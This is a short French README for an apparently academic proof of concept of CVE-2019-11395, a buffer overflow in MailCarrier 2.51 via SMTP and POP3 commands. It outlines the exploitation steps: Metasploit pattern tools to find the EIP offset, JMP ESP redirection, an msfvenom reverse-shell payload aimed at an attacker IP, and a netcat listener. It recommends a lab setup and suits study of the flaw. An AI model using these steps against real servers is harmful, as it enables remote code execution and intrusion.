
Preuve de concept à visée académique pour comprendre la vulnérabilité de débordement de tampon (Buffer Overflow) en utilisant comme contexte le CVE-2019-11395.
Cette preuve de concept (PoC) démontre une vulnérabilité de débordement de tampon (Buffer Overflow) dans MailCarrier 2.51, permettant à des attaquants distants d'exécuter du code arbitraire via une chaîne de caractères longue. La vulnérabilité peut être exploitée en utilisant les processus suivants :
SMTP RCPT TOPOP3 USERPOP3 LISTPOP3 TOPPOP3 RETRLe projet vise à fournir une approche académique pour comprendre le fonctionnement d'un débordement de tampon.
Avant d'exécuter tout test, n'utilisez jamais votre environnement de production pour des expérimentations initiales. Créez plutôt un environnement de laboratoire similaire à votre environnement de production afin d'éviter tout problème ou conséquence imprévue.
msf-pattern_create -l <number_of_bytes>
Cela permet de déterminer l'Offset, c'est-à-dire le nombre exact d'octets nécessaires pour écraser le registre EIP.
msf-pattern_offset -q <bytes_on_EIP_register> -l <number_of_bytes>
Cela identifie le nombre exact d'octets requis pour contrôler le registre EIP.
JMP ESP
CALL ESP
Nous utiliserons cette adresse pour rediriger l'exécution. Soyez prudent avec l'ASLR, SafeSEH ou d'autres mécanismes de protection.
msfvenom -p <shellcode> LHOST=<Attacker_IP> LPORT=443 -b "<badchars_list>" exitfunc=thread -f python
NOP (\x90) dans le payload pour améliorer la stabilité.netcat (nc) pour créer un shell inversé et vous connecter à la cible.